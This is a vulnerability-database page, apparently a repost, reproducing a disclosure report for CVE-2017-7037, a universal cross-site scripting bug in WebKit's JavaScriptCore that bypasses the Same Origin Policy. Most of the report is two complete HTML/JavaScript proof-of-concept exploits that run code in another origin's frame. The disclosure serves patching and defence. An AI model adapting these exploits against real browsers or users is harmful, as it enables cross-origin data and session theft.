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WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS Vulnerability
| Reporter | Title | Published | Views | Family All 72 |
|---|---|---|---|---|
 | webkit2-gtk3 -- multiple vulnerabilities | 24 Jul 201700:00 | – | freebsd |
 | Safari < 10.1.2 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus |
| Apple iOS < 10.3.3 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus |
| iTunes < 12.6.2 Multiple Vulnerabilities | 27 Jul 201700:00 | – | nessus |
| Apple TV < 10.2.2 Multiple Vulnerabilities | 28 Jul 201700:00 | – | nessus |
| Apple iOS < 10.3.3 Multiple Vulnerabilities | 25 Jul 201700:00 | – | nessus |
| Fedora 26 : webkitgtk4 (2017-24bddb96b5) | 28 Jul 201700:00 | – | nessus |
| Fedora 25 : webkitgtk4 (2017-73d6a0dfbb) | 31 Jul 201700:00 | – | nessus |
| Fedora 24 : webkitgtk4 (2017-9d572cc64a) | 11 Aug 201700:00 | – | nessus |
| FreeBSD : webkit2-gtk3 -- multiple vulnerabilities (0f66b901-715c-11e7-ad1f-bcaec565249c) | 26 Jul 201700:00 | – | nessus |
10
WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive
CVE-2017-7037
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.
The PoC shows to call a setter of another origin's object.
PoC 1 - JSValue::putToPrimitive:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = 1.2;
a.__proto__.__proto__ = f.contentWindow;
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
PoC 2 - JSObject::putInlineSlow:
<body>
<script>
let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
let a = {
__proto__: f.contentWindow
};
a['test'] = {toString: function () {
arguments.callee.caller.constructor('alert(location)')();
}};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
'a' + v;
});
</scrip` + `t>`;
</script>
</body>
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
# 0day.today [2018-03-19] #Data
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25 Jul 2017 00:00Current
8High risk
Vulners AI Score8
EPSS0.03473